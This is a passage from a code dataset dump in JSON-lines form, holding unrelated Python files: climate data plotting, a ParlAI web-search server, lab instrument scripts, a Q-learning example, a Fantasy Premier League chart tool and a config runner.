df_shift[df_shift['month'] == month]\n else:\n thisdf = df[df['month'] == month]\n # Do our combinations, we divide out later when necessary\n for v in ['avg_temp', 'total_precip', 'cdd65', 'hdd65',\n 'gdd32', 'gdd41', 'gdd46',\n 'gdd48', 'gdd50', 'gdd51', 'gdd52', 'days_high_aoa']:\n xdf[v] = xdf[v] + thisdf[v]\n tmpdf = pd.DataFrame({'a': xdf['max_high'], 'b': thisdf['max_high']})\n xdf['max_high'] = tmpdf.max(axis=1)\n if len(months) > 1:\n xdf['avg_temp'] = xdf['avg_temp'] / float(len(months))\n\n return xdf\n\n\ndef plotter(fdict):\n \"\"\" Go \"\"\"\n pgconn = util.get_dbconn('coop')\n\n today = datetime.date.today()\n ctx = util.get_autoplot_context(fdict, get_description())\n station = ctx['station']\n threshold = ctx['threshold']\n month1 = ctx['month1']\n varname1 = ctx['var1']\n num1 = min([12, ctx['num1']])\n month2 = ctx['month2']\n varname2 = ctx['var2']\n num2 = min([12, ctx['num2']])\n months1, offsets1 = compute_months_and_offsets(month1, num1)\n months2, offsets2 = compute_months_and_offsets(month2, num2)\n table = \"alldata_%s\" % (station[:2],)\n nt = network.Table(\"%sCLIMATE\" % (station[:2],))\n # Compute the monthly totals\n df = read_sql(\"\"\"\n SELECT year, month, avg((high+low)/2.) as avg_temp,\n sum(precip) as total_precip, max(high) as max_high, min(low) as min_low,\n sum(case when high >= %s then 1 else 0 end) as days_high_aoa,\n sum(cdd(high, low, 65)) as cdd65,\n sum(hdd(high, low, 65)) as hdd65,\n sum(gddxx(32, 86, high, low)) as gdd32,\n sum(gddxx(41, 86, high, low)) as gdd41,\n sum(gddxx(46, 86, high, low)) as gdd46,\n sum(gddxx(48, 86, high, low)) as gdd48,\n sum(gddxx(50, 86, high, low)) as gdd50,\n sum(gddxx(51, 86, high, low)) as gdd51,\n sum(gddxx(52, 86, high, low)) as gdd52\n from \"\"\"+table+\"\"\"\n WHERE station = %s and day < %s GROUP by year, month\n \"\"\", pgconn, params=(threshold, station, today.replace(day=1)),\n index_col='year')\n\n xdf = combine(df, months1, offsets1)\n ydf = combine(df, months2, offsets2)\n if xdf.empty or ydf.empty:\n raise NoDataFound(\"Sorry, could not find data.\")\n\n resdf = pd.DataFrame({\"%s_1\" % (varname1, ): xdf[varname1],\n \"%s_2\" % (varname2, ): ydf[varname2]})\n resdf.dropna(inplace=True)\n (fig, ax) = plt.subplots(1, 1, figsize=(8, 6))\n ax.scatter(resdf[varname1+\"_1\"], resdf[varname2+\"_2\"], marker='s',\n facecolor='b', edgecolor='b', label=None, zorder=3)\n ax.set_title((\"%s-%s %s [%s]\\n\"\n \"Comparison of Monthly Periods, Quadrant Frequency Labelled\"\n ) % (resdf.index.min(), resdf.index.max(),\n nt.sts[station]['name'], station))\n ax.grid(True)\n\n h_slope, intercept, r_value, _, _ = stats.linregress(resdf[varname1+\"_1\"],\n resdf[varname2+\"_2\"])\n y = h_slope * np.arange(resdf[varname1+\"_1\"].min(),\n resdf[varname1+\"_1\"].max()) + intercept\n ax.plot(np.arange(resdf[varname1+\"_1\"].min(),\n resdf[varname1+\"_1\"].max()), y, lw=2, color='r',\n label=\"Slope=%.2f R$^2$=%.2f\" % (h_slope, r_value ** 2))\n ax.legend(fontsize=10)\n xmonths = \", \".join([calendar.month_abbr[x] for x in months1])\n ymonths = \", \".join([calendar.month_abbr[x] for x in months2])\n t1 = \"\" if varname1 not in ['days_high_aoa', ] else \" %.0f\" % (threshold,)\n t2 = \"\" if varname2 not in ['days_high_aoa', ] else \" %.0f\" % (threshold,)\n x = resdf[\"%s_1\" % (varname1, )].mean()\n y = resdf[\"%s_2\" % (varname2, )].mean()\n ax.set_xlabel(\"%s\\n%s%s [%s], Avg: %.1f\" % (xmonths, PDICT[varname1], t1,\n UNITS[varname1], x),\n fontsize=12)\n ax.set_ylabel(\"%s\\n%s%s [%s], Avg: %.1f\" % (ymonths, PDICT[varname2], t2,\n UNITS[varname2], y),\n fontsize=12)\n\n box = ax.get_position()\n ax.set_position([box.x0, box.y0 + box.height * 0.05,\n box.width, box.height * 0.95])\n ax.axhline(y, linestyle='--', color='g')\n ax.axvline(x, linestyle='--', color='g')\n ur = len(resdf[(resdf[\"%s_1\" % (varname1, )] >= x) &\n (resdf[\"%s_2\" % (varname2, )] >= y)].index)\n ax.text(0.95, 0.75, \"%s (%.1f%%)\" % (ur,\n ur / float(len(resdf.index)) * 100.),\n color='tan', fontsize=24, transform=ax.transAxes, ha='right',\n zorder=2)\n lr = len(resdf[(resdf[\"%s_1\" % (varname1, )] >= x) &\n (resdf[\"%s_2\" % (varname2, )] < y)].index)\n ax.text(0.95, 0.25, \"%s (%.1f%%)\" % (lr,\n lr / float(len(resdf.index)) * 100.),\n color='tan', fontsize=24, transform=ax.transAxes, ha='right',\n zorder=2)\n ll = len(resdf[(resdf[\"%s_1\" % (varname1, )] < x) &\n (resdf[\"%s_2\" % (varname2, )] < y)].index)\n ax.text(0.05, 0.25, \"%s (%.1f%%)\" % (ll,\n ll / float(len(resdf.index)) * 100.),\n color='tan', fontsize=24, transform=ax.transAxes, ha='left',\n zorder=2)\n ul = len(resdf[(resdf[\"%s_1\" % (varname1, )] < x) &\n (resdf[\"%s_2\" % (varname2, )] >= y)].index)\n ax.text(0.05, 0.75, \"%s (%.1f%%)\" % (ul,\n ul / float(len(resdf.index)) * 100.),\n color='tan', fontsize=24, transform=ax.transAxes, ha='left',\n zorder=2)\n return fig, resdf\n\n\nif __name__ == '__main__':\n plotter(dict())\n","sub_path":"htdocs/plotting/auto/scripts/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":9582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"96102648","text":"\"\"\"\nA web search server for ParlAI, including Blenderbot2.\nSee README.md\n\"\"\"\nimport http.server\nimport json\nimport re\nfrom typing import *\nimport urllib.parse\n\nimport bs4\nimport chardet\nimport fire\nimport html2text\nimport googlesearch\nimport parlai.agents.rag.retrieve_api\nimport rich\nimport rich.markup\nimport requests\n\n\nprint = rich.print\n\n_DEFAULT_HOST = \"0.0.0.0\"\n_DEFAULT_PORT = 8080\n\n\ndef _parse_host(host: str) -> Tuple[str, int]:\n splitted = host.split(\":\")\n hostname = splitted[0]\n port = splitted[1] if len(splitted) > 1 else _DEFAULT_PORT\n return hostname, int(port)\n\n\ndef _get_and_parse(url: str) -> Dict[str, str]:\n\n try:\n resp = requests.get(url)\n except requests.exceptions.RequestException as e:\n print(f\"[!] {e} for url {url}\")\n return None\n else:\n resp.encoding = resp.apparent_encoding\n page = resp.text\n \n ###########################################################################\n # Prepare the title\n ###########################################################################\n output_dict = dict(title=\"\", content=\"\", url=url)\n soup = bs4.BeautifulSoup(page, features=\"lxml\")\n pre_rendered = soup.find(\"title\")\n output_dict[\"title\"] = (\n pre_rendered.renderContents().decode() if pre_rendered else \"\"\n )\n \n output_dict[\"title\"] = (\n output_dict[\"title\"].replace(\"\\n\", \"\").replace(\"\\r\", \"\")\n )\n\n ###########################################################################\n # Prepare the content\n ###########################################################################\n text_maker = html2text.HTML2Text()\n text_maker.ignore_links = True\n text_maker.ignore_tables = True\n text_maker.ignore_images = True\n text_maker.ignore_emphasis = True\n text_maker.single_line = True\n output_dict[\"content\"] = text_maker.handle(page).strip()\n\n return output_dict\n\n\nclass SearchABC(http.server.BaseHTTPRequestHandler):\n def do_POST(self):\n #######################################################################\n # Prepare and Parse\n #######################################################################\n content_length = int(self.headers[\"Content-Length\"])\n post_data = self.rfile.read(content_length)\n\n # Figure out the encoding\n if \"charset=\" in self.headers[\"Content-Type\"]:\n charset = re.match(r\".*charset=([\\w_\\-]+)\\b.*\", self.headers[\"Content-Type\"]).group(1)\n else:\n detector = chardet.UniversalDetector()\n detector.feed(post_data)\n detector.close()\n charset = detector.result[\"encoding\"]\n\n post_data = post_data.decode(charset)\n parsed = urllib.parse.parse_qs(post_data)\n\n for v in parsed.values():\n assert len(v) == 1, len(v)\n parsed = {k: v[0] for k, v in parsed.items()}\n\n #######################################################################\n # Search, get the pages and parse the content of the pages\n #######################################################################\n print(f\"\\n[bold]Received query:[/] {parsed}\")\n n = int(parsed[\"n\"])\n q = parsed[\"q\"]\n\n # Over query a little bit in case we find useless URLs\n content = []\n dupe_detection_set = set()\n \n # Search until we have n valid entries\n for url in self.search(q=q, n=n):\n if len(content) >= n:\n break\n\n # Get the content of the pages and parse it\n maybe_content = _get_and_parse(url)\n\n # Check that getting the content didn't fail\n reason_empty_response = maybe_content is None\n reason_content_empty = (\n maybe_content[\"content\"] is None\n or len(maybe_content[\"content\"]) == 0\n )\n reason_already_seen_content = (\n maybe_content[\"content\"] in dupe_detection_set\n )\n reasons = dict(\n reason_empty_response=reason_empty_response,\n reason_content_empty=reason_content_empty,\n reason_already_seen_content=reason_already_seen_content,\n )\n\n if not any(reasons.values()):\n ###############################################################\n # Log the entry\n ###############################################################\n title_str = (\n f\"`{rich.markup.escape(maybe_content['title'])}`\"\n if maybe_content[\"title\"]\n else \"\"\n )\n print(\n \" [green]>[/] Result:\",\n f\"Title: {title_str}\",\n f\"url: {rich.markup.escape(maybe_content['url'])}\",\n f\"Content: {len(maybe_content['content'])}\",\n )\n dupe_detection_set.add(maybe_content[\"content\"])\n content.append(maybe_content)\n if len(content) >= n:\n break\n\n else:\n ###############################################################\n # Log why it failed\n ###############################################################\n reason_string = \", \".join(\n {\n reason_name\n for reason_name, whether_failed in reasons.items()\n if whether_failed\n }\n )\n print(f\" x Excluding an URL because `{reason_string}`: `{url}`\")\n\n ###############################################################\n # Prepare the answer and send it\n ###############################################################\n content = content[:n] \n output = json.dumps(dict(response=content)).encode(\"utf-8\")\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.send_header(\"Content-Length\", len(output))\n self.end_headers()\n self.wfile.write(output)\n\n def search(self, q: str, n: int) -> Generator[str, None, None]:\n return NotImplemented(\n \"Search is an abstract base class, not meant to be directly \"\n \"instantiated. You should instantiate a derived class like \"\n \"GoogleSearch.\"\n )\n\n\nclass GoogleSearchServer(SearchABC):\n def search(self, q: str, n: int) -> Generator[str, None, None]:\n return googlesearch.search(q, num=n, stop=None)\n\n\nclass Application:\n def serve(self, host: str = _DEFAULT_HOST) -> NoReturn:\n host, port = _parse_host(host)\n\n with http.server.ThreadingHTTPServer(\n (host, int(port)), GoogleSearchServer\n ) as server:\n print(\"Serving forever.\")\n server.serve_forever()\n\n def test_parser(self, url):\n print(_get_and_parse(url))\n\n def test_server(self, query, n, host=_DEFAULT_HOST):\n host, port = _parse_host(host)\n\n print(f\"Query: `{query}`\")\n print(f\"n: {n}\")\n\n retriever = parlai.agents.rag.retrieve_api.SearchEngineRetriever(\n dict(\n search_server=f\"{host}:{port}\",\n skip_retrieval_token=False,\n )\n )\n print(\"Retrieving one.\")\n print(retriever._retrieve_single(query, n))\n print(\"Done.\")\n\n\nif __name__ == \"__main__\":\n fire.Fire(Application)\n","sub_path":"search_server.py","file_name":"search_server.py","file_ext":"py","file_size_in_byte":7504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"416255762","text":"#%% initialization\nimport numpy as np\nfrom pylab import *\n\n# Import instruments\nfrom amcc.instruments.srs_sim970 import SIM970\nfrom amcc.instruments.srs_sim928 import SIM928\nfrom amcc.instruments import Switchino\n\n# Setup instruments\ndmm = SIM970('GPIB0::4', sim900port = 7)\nvs1 = SIM928('GPIB0::4', sim900port = 3)\nvs2 = SIM928('GPIB0::4', sim900port = 4)\nvs3 = SIM928('GPIB0::4', sim900port = 5)\nswitch = Switchino('COM7')\n\n#import functions\nfrom vt__meas_util import iv_sweep_srs__current_bias, flux_purge_srs, sq_voltage_vs_incoil_current\n\n\n#%% measurement specifics\n\n#squid ports\nincoil_v_source_srs = vs1\nsquid_v_source_srs = vs2\naddflux_v_srs = vs3\nsquid_v_meas_srs = dmm\nsquid_v_meas_srs_dmm_channel = 4\n\ndmm.set_impedance(gigaohm=False, channel = squid_v_meas_srs_dmm_channel)\n\n#resistors in series with voltage sources\nincoil_i_source_res = 1e4\nsquid_i_source_res = 1e4\naddflux_i_source_res = 1e4\n\nincoil_v_source_srs.set_voltage(0)\nsquid_v_source_srs.set_voltage(0)\naddflux_v_srs.set_voltage(0)\n\n#%% purge flux\n\nflux_purge_srs(squid_v_source_srs,squid_i_source_res,1e-3,15)\n\n#%% get squid I-V in the absence of incoil flux bias\ndevice_name = 'vt01_nw_22_sqb_device4'\nsq_current_bias_values = np.arange(0,300e-6,1e-6)\nV = iv_sweep_srs__current_bias(squid_v_source_srs,squid_v_meas_srs,squid_v_meas_srs_dmm_channel,sq_current_bias_values,squid_i_source_res, delay = 0.75, device_name = device_name)\n \nI = sq_current_bias_values\nfig, axes = plt.subplots(1,1)\naxes.plot(V*1e3,I*1e6,label = '1')\naxes.set_xlabel(r'Voltage across SQUID (mV)', fontsize=20)\naxes.set_ylabel(r'Current applied to SQUID (uA)', fontsize=20)\n\n#ylim((ymin_plot,ymax_plot))\n#xlim((xmin_plot,xmax_plot))\n\n#axes.legend(loc='best')\ngrid(True,which='both')\nplt.show()\n\n#p = np.polyfit(I,V,1)\n#print('%0.1f Ohm' % (p[0]))\n\n#title(str(np.around(p[0],decimals = 2))+' ohm')\n#\n#time.sleep(1)\n\n#%% measure SQUID voltage as a function of incoil current for several values of SQUID current bias\nincoil_current_bias_values = np.arange(0,1e-3,1e-6)\nsq_Ic = 180e-6\n#sq_current_bias_values = np.linspace(0.5,1.5,10)*sq_Ic \nsq_current_bias_values = np.linspace(170e-6,210e-6,5) \nmeasurement_delay = 0.75\n\nI_sq_bias,I_incoil_current,V_sq_meas = sq_voltage_vs_incoil_current(squid_v_source_srs,squid_i_source_res,squid_v_meas_srs,squid_v_meas_srs_dmm_channel,\n incoil_v_source_srs,incoil_i_source_res,sq_current_bias_values,incoil_current_bias_values,measurement_delay,device_name)\n\n \nfig, axes = plt.subplots(1,1)\nfor ii in range(len(I_sq_bias)):\n v_vec = V_sq_meas[:,ii]*1e3\n axes.plot(I_incoil_current[:]*1e6, v_vec, 'o-', linewidth = 1, markersize = 3, label = 'I_sq = {0} uA'.format(I_sq_bias[ii]*1e6))\n axes.set_ylabel(r'Voltage across SQUID (mV)', fontsize=20)\n axes.set_xlabel(r'Incoil current (uA)', fontsize=20)\n\n#ylim((ymin_plot,ymax_plot))\n#xlim((xmin_plot,xmax_plot))\n\naxes.legend(loc='best')\ngrid(True,which='both')\nplt.show()\n\ntime.sleep(1)\n","sub_path":"data/20200107__vt01_01_NW_die22_sqb/vt01__squid_8_wire.py","file_name":"vt01__squid_8_wire.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"355476268","text":"# - * - coding:utf8 - * - -\n###########################################\n# Author: Tinkle\n# E-mail: shutingnjupt@gmail.com\n# Name: Path Sum II.py\n# Creation Time: 2017/7/20\n###########################################\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution(object):\n def flatten(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: void Do not return anything, modify root in-place instead.\n \"\"\"\n if root == None:\n return\n\n self.flatten(root.right)\n self.flatten(root.left)\n tmp = root\n if tmp.left == None:\n return\n tmp = tmp.left\n while(tmp.right!=None):\n tmp = tmp.right\n tmp.right = root.right\n root.right = root.left\n root.left = None\n","sub_path":"Tree/114. Flatten Binary Tree to Linked List.py","file_name":"114. Flatten Binary Tree to Linked List.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"394934443","text":"import sys\nimport gym\nimport numpy as np\nfrom collections import defaultdict, deque\nimport matplotlib.pyplot as plt\nfrom plot_utils import plot_values\n\ndef eps_greedy(state, eps, policy):\n if state in policy:\n if np.random.random() > eps:\n action = np.argmax(policy[state])\n else:\n probs = [0.25, 0.25, 0.25, 0.25]\n action = np.random.choice(np.arange(4), p=probs)\n else:\n probs = [0.25, 0.25, 0.25, 0.25]\n action = np.random.choice(np.arange(4), p=probs)\n return action\n\ndef Q_learning(env, num_episodes, alpha, gamma=1.0, eps=0.2):\n Q = defaultdict(lambda: np.zeros(env.nA))\n policy = {}\n for i_episode in range(1, num_episodes+1):\n if i_episode % 100 == 0:\n print(\"\\rEpisode {}/{}\".format(i_episode, num_episodes), end=\"\")\n state = env.reset()\n action = policy_eps_greedy(state, eps, Q)\n while True:\n next_state, reward, done, info = env.step(action)\n next_action = policy_eps_greedy(next_state, eps, Q)\n Q[state][action] = Q[state][action] + (alpha * (reward + (gamma * Q[next_state][np.argmax(Q[next_state])]) - Q[state][action]))\n action = next_action\n state = next_state\n if done:\n break\n return Q\n\nenv = gym.make('CliffWalking-v0')\nprint(env.action_space)\nprint(env.observation_space)\n\n# obtain the estimated optimal policy and corresponding action-value function\nQ_sarsamax = Q_learning(env, 5000, .01)\n\n# print the estimated optimal policy\npolicy_sarsamax = np.array([np.argmax(Q_sarsamax[key]) if key in Q_sarsamax else -1 for key in np.arange(48)]).reshape((4,12))\nprint(\"\\nEstimated Optimal Policy (UP = 0, RIGHT = 1, DOWN = 2, LEFT = 3, N/A = -1):\")\nprint(policy_sarsamax)\n\n# plot the estimated optimal state-value function\nplot_values([np.max(Q_sarsamax[key]) if key in Q_sarsamax else 0 for key in np.arange(48)])\n","sub_path":"sarsamax.py","file_name":"sarsamax.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"206867460","text":"import sys\nimport math\n\nfilename1 = sys.argv[1]\nfilename2 = sys.argv[2]\n\n\nfile1 = open(filename1).readlines() \n \nfile1_line = [] \n \nfor lines in file1: \n file1_line.append(lines) \n \nfile2 = open(filename2).readlines() \n \nfile2_line = [] \n \nfor lines in file2: \n file2_line.append(lines) \n \nif len(file1) > len(file2): \n print(\"Length Of File of \",filename1,\"is greater than\",filename2,len(file1),\">\",len(file2))\n \n \nelif len(file1) < len(file2): \n print(\"Length Of File of \",filename1,\"is less than\",filename2,len(file1),\"<\",len(file2))\n\n \nelse: \n n = 0 \n error = 0.0\n sum = 0.0\n for line in file1_line: \n l = line.split(\" \")\n m = file2_line[n].split(\" \")\n k = (float(l[1])-float(m[1]))\n error += k*k\n sum += float(m[1])\n n += 1 \n avg = sum/n\n err = math.sqrt(error/n)\n print((avg-err)/avg)\n","sub_path":"P3-Trade-Off-Analysis/M4/analysis/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"343793015","text":"import json\r\nimport urllib.request\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nplt.style.use('seaborn')\r\n\r\n\"\"\"\r\nmy_id = 529216 - to be used as input value example\r\n\"\"\"\r\napi_url_base = \"https://fantasy.premierleague.com/api/entry/\"\r\n\r\n\"\"\"Prompt the use to enter their team ID\r\n\"\"\"\r\nteam_id = input(\"Please, enter your Fantasy Premier League team ID: \")\r\nteam_url = api_url_base + team_id + \"/history/\"\r\n\r\n\"\"\"Open FPL API URL and select only the team data for current season\r\n\"\"\"\r\njson_object = urllib.request.urlopen(team_url)\r\ndata = json.load(json_object)\r\ncurrent_data = data['current']\r\n\r\n\"\"\"Define functions from API data\r\nand store data for all gameweeks of the season in a list\r\n\"\"\"\r\ndef get_gameweeks():\r\n gameweeks_list = []\r\n current_data = data['current']\r\n for dic in current_data:\r\n gameweek = dic['event']\r\n gameweeks_list.append(gameweek)\r\n return(np.array(gameweeks_list))\r\n\r\ndef get_gw_points():\r\n gw_points_list = []\r\n current_data = data['current']\r\n for dic in current_data:\r\n gw_points = dic['points']\r\n gw_points_list.append(gw_points)\r\n plt.clf()\r\n plt.plot(get_gameweeks(), np.array(gw_points_list))\r\n plt.xticks(get_gameweeks(), ['GW'+str(i) for i in get_gameweeks()])\r\n plt.ylabel(\"Points\")\r\n plt.title(\"Points per Gameweek\")\r\n plt.show()\r\n\r\ndef get_total_points():\r\n total_points_list = []\r\n current_data = data['current']\r\n for dic in current_data:\r\n total_points = dic['total_points']\r\n total_points_list.append(total_points)\r\n plt.clf()\r\n plt.plot(get_gameweeks(), np.array(total_points_list))\r\n plt.xticks(get_gameweeks(), ['GW' + str(i) for i in get_gameweeks()])\r\n plt.ylabel(\"Total Points\")\r\n plt.title(\"Total Points per Gameweek\")\r\n plt.show()\r\n\r\ndef get_overall_rank():\r\n overall_rank_list = []\r\n current_data = data['current']\r\n for dic in current_data:\r\n overall_rank = dic['overall_rank']\r\n overall_rank_list.append(overall_rank)\r\n plt.clf()\r\n plt.plot(get_gameweeks(), np.array(overall_rank_list))\r\n plt.xticks(get_gameweeks(), ['GW' + str(i) for i in get_gameweeks()])\r\n plt.ylabel(\"Rank\")\r\n plt.title(\"Overall Rank\")\r\n plt.show()\r\n\r\ndef get_team_value():\r\n team_value_list = []\r\n current_data = data['current']\r\n for dic in current_data:\r\n team_value = dic['value']\r\n team_value_list.append(team_value)\r\n plt.clf()\r\n plt.plot(get_gameweeks(), np.array(team_value_list))\r\n plt.xticks(get_gameweeks(), ['GW' + str(i) for i in get_gameweeks()])\r\n plt.ylabel(\"$\")\r\n plt.title(\"Team Value\")\r\n plt.show()\r\n\r\ndef get_hits():\r\n hits_list = []\r\n current_data = data['current']\r\n for dic in current_data:\r\n hits = dic['event_transfers_cost']\r\n hits_list.append(hits)\r\n plt.clf()\r\n plt.plot(get_gameweeks(), np.array(hits_list))\r\n plt.xticks(get_gameweeks(), ['GW' + str(i) for i in get_gameweeks()])\r\n plt.ylabel(\"Hits\")\r\n plt.title(\"Hits Taken\")\r\n plt.show()\r\n\r\ndef get_points_on_bench():\r\n points_on_bench_list = []\r\n current_data = data['current']\r\n for dic in current_data:\r\n bench_points = dic['points_on_bench']\r\n points_on_bench_list.append(bench_points)\r\n plt.clf()\r\n plt.plot(get_gameweeks(), np.array(points_on_bench_list))\r\n plt.xticks(get_gameweeks(), ['GW' + str(i) for i in get_gameweeks()])\r\n plt.ylabel(\"Points\")\r\n plt.title(\"Points on Bench\")\r\n plt.show()\r\n\r\ndef get_transfers():\r\n transfers_list = []\r\n hits_list = []\r\n current_data = data['current']\r\n for dic in current_data:\r\n transfers = dic['event_transfers']\r\n transfers_list.append(transfers)\r\n hits = dic['event_transfers_cost']\r\n hits_list.append(hits)\r\n plt.clf()\r\n plt.plot(get_gameweeks(), np.array(transfers_list), label='transfers')\r\n plt.plot(get_gameweeks(), np.array(hits_list), label='hits')\r\n plt.xticks(get_gameweeks(), ['GW' + str(i) for i in get_gameweeks()])\r\n plt.ylabel(\"Transfers\")\r\n plt.yticks(range(0, max(transfers_list+hits_list)+1), range(0, max(transfers_list+hits_list)+1))\r\n plt.legend()\r\n plt.title(\"Transfers made\")\r\n plt.show()\r\n\r\n\r\n\"\"\"Present key word options to user\r\n\"\"\"\r\nprint(\"You can choose between the following charts : points, total points, rank, team value, hits, transfer info, bench points\")\r\n\r\n\r\nmy_chart = str(input().lower())\r\nif my_chart=='points':\r\n get_gw_points()\r\nelif my_chart=='total points':\r\n get_total_points()\r\nelif my_chart=='rank':\r\n get_overall_rank()\r\nelif my_chart=='team value':\r\n get_team_value()\r\nelif my_chart=='hits':\r\n get_hits()\r\nelif my_chart=='bench points':\r\n get_points_on_bench()\r\nelif my_chart == 'transfer info':\r\n get_transfers()\r\nelse:\r\n print(\"Please, enter a valid command! \")\r\n\r\n\r\n\r\n\r\n","sub_path":"FPL_2019_API_VISUAL.py","file_name":"FPL_2019_API_VISUAL.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"150422824","text":"from Item import *\nclass Magazine(Item):\n\n # passing all the parameters at once\n # id is an integer\n # isLoanable is a boolean\n # title is a string\n # publisher is a string\n # language is a string\n # isbn10 is a string\n # isbn13 is a string\n def __init__(self, id, isLoanable, title, publisherM, languageM, isbn10M, isbn13M):\n Item.__init__(id, isLoanable, title)\n self.publisher = publisherM\n self.language = languageM\n self.isbn10 = isbn10M\n self.isbn13 = isbn13M\n\n\n#f = Magazine('hey','english','1111111111','1111111111111')\n#print(f.publisher)\n","sub_path":"Magazine.py","file_name":"Magazine.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"101257062","text":"#!/usr/bin/env python\n\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nif len(sys.argv) < 2:\n print('Usage: {} FILE.csv'.format(sys.argv[0]))\n sys.exit(1)\n\nt, p, v = np.loadtxt(sys.argv[1], delimiter=',', unpack=True)\n\ntd = np.diff(t)\ntd_mean = np.mean(td)\ntd_std = np.std(td)\n\nplt.subplot(211)\nplt.plot(t, p)\n\nplt.title(r'Actual Position (tdiff: $\\mu=%f, \\sigma=%f$)' % (td_mean, td_std))\nplt.xlabel('Time (s)')\nplt.ylabel('Position (deg)')\n\nplt.subplot(212)\nplt.plot(t, v)\n\nplt.title('Actual Velocity')\nplt.xlabel('Time (s)')\nplt.ylabel('Velocity (deg/s)')\n\nplt.tight_layout()\nplt.show()\n","sub_path":"examples/motion_plot.py","file_name":"motion_plot.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"12352060","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\nsimple test queries [for DEVELOPMENT / not part of official tests]\n\"\"\"\n\nimport click\n\nfrom ..app.settings import FileManager\nfrom ..app.dsl import *\nfrom ..app.transform import *\nfrom ..app.networkviz import *\n\n\n\n@click.command()\n@click.argument('test_number')\ndef quicktest_cli(test_number=1):\n\n test_number = int(test_number)\n fm = FileManager()\n\n if test_number == 1:\n # TEST run a DSL query\n\n q = \"\"\"search publications for \"napoleon\" return publications[id+concepts_scores] limit 400\"\"\"\n # quotes have to be escaped the Python way\n q = \"\"\"search publications for \"\\\\\\\"super bug\\\\\\\"\" return publications[id+concepts_scores] limit 400\"\"\"\n df = run_dsl_query(q, fm)\n\n if test_number == 2:\n # TEST cache DSL query for test dataset \n # Then can be used as \n # > df = pd.read_json(\"testdata/dsl_dataframe.json\")\n\n generate_test_dataset()\n\n if test_number == 3:\n # TEST prune concepts from cached df-dsl data \n df = pd.read_json(\"testdata/dsl_dataframe.json\")\n prune_concepts(df)\n\n if test_number == 4:\n # TEST dsl_to_networkx from cached df-dsl data \n df = pd.read_json(\"testdata/dsl_dataframe.json\")\n dsl_to_networkx(prune_concepts(df))\n\n if test_number == 5:\n # TEST networkx_to_dict from cached df-dsl data \n df = pd.read_json(\"testdata/dsl_dataframe.json\")\n networkx_to_dict(dsl_to_networkx(prune_concepts(df)))\n\n\n\n# if __name__ == '__main__':\n# quicktest()\n","sub_path":"dice/tests/quicktest.py","file_name":"quicktest.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"60868867","text":"from enum import Enum\nimport os\nimport os.path\nimport yaml\nimport copy\nimport subprocess\n\nfrom typing import MutableMapping\nfrom sympy import parse_expr\n\nPhase = Enum('Phase', ('PRETRAIN', 'DOWNSTREAM'))\n\ncurrent_phase = Phase.DOWNSTREAM\n\nConfig = Enum('Config', ('MODEL', 'TRAIN'))\n\nmodel_config_dir = \"config/model/\"\ntrain_config_dir = \"config/train/\"\n\nmodel_key, model_config = \"mae\", \"e7d2_128\"\n\ntrain_key, train_config = \"pretrain\", \"gridsearch\"\ndownstream_train_key, downstream_train_config = \"linearprobing\", \"default\"\n\nbase_model_filename = model_config_dir + model_key + '_' + model_config\nbase_train_filename = train_config_dir + train_key + '_' + train_config\n\n\ndef main():\n variants = (\n ((Config.TRAIN, 'optim.AdamW.lr', 1.5e-4), (Config.TRAIN, 'optim.AdamW.weight_decay', 0.15), (Config.MODEL, 'MAE.decoder.TransformerDecoder.num_layers', 2)),\n ((Config.TRAIN, 'optim.AdamW.lr', 1.5e-4), (Config.TRAIN, 'optim.AdamW.weight_decay', 0.05), (Config.MODEL, 'MAE.decoder.TransformerDecoder.num_layers', 3)),\n ((Config.TRAIN, 'optim.AdamW.lr', 1.5e-4), (Config.TRAIN, 'optim.AdamW.weight_decay', 0.15), (Config.MODEL, 'MAE.decoder.TransformerDecoder.num_layers', 3)),\n ((Config.TRAIN, 'optim.AdamW.lr', 1.5e-4), (Config.TRAIN, 'optim.AdamW.weight_decay', 0.05), (Config.MODEL, 'MAE.decoder.TransformerDecoder.num_layers', 2)),\n )\n\n run_variants(variants)\n\n\ndef run_variants(variants):\n base_model_config = load(base_model_filename)\n base_train_config = load(base_train_filename)\n\n for index, variant in enumerate(variants):\n if current_phase == Phase.PRETRAIN:\n run_pretrain_variant(\n index,\n variant,\n copy.deepcopy(base_model_config),\n copy.deepcopy(base_train_config))\n elif current_phase == Phase.DOWNSTREAM:\n run_downstream_variant(index)\n\n\ndef load(filename):\n full_filename = filename + '.yaml'\n assert os.path.exists(full_filename), full_filename\n file = open(full_filename)\n return yaml.load(file, ConfigFullLoader)\n\n\nclass ConfigFullLoader(yaml.FullLoader):\n def __init__(self, stream):\n super().__init__(stream)\n self.add_constructor(tag='!eval', constructor=self.evaluate)\n\n @staticmethod\n def flatten_dict(d: MutableMapping, parent_key: str = '', sep: str = '.') -> MutableMapping:\n items = []\n for 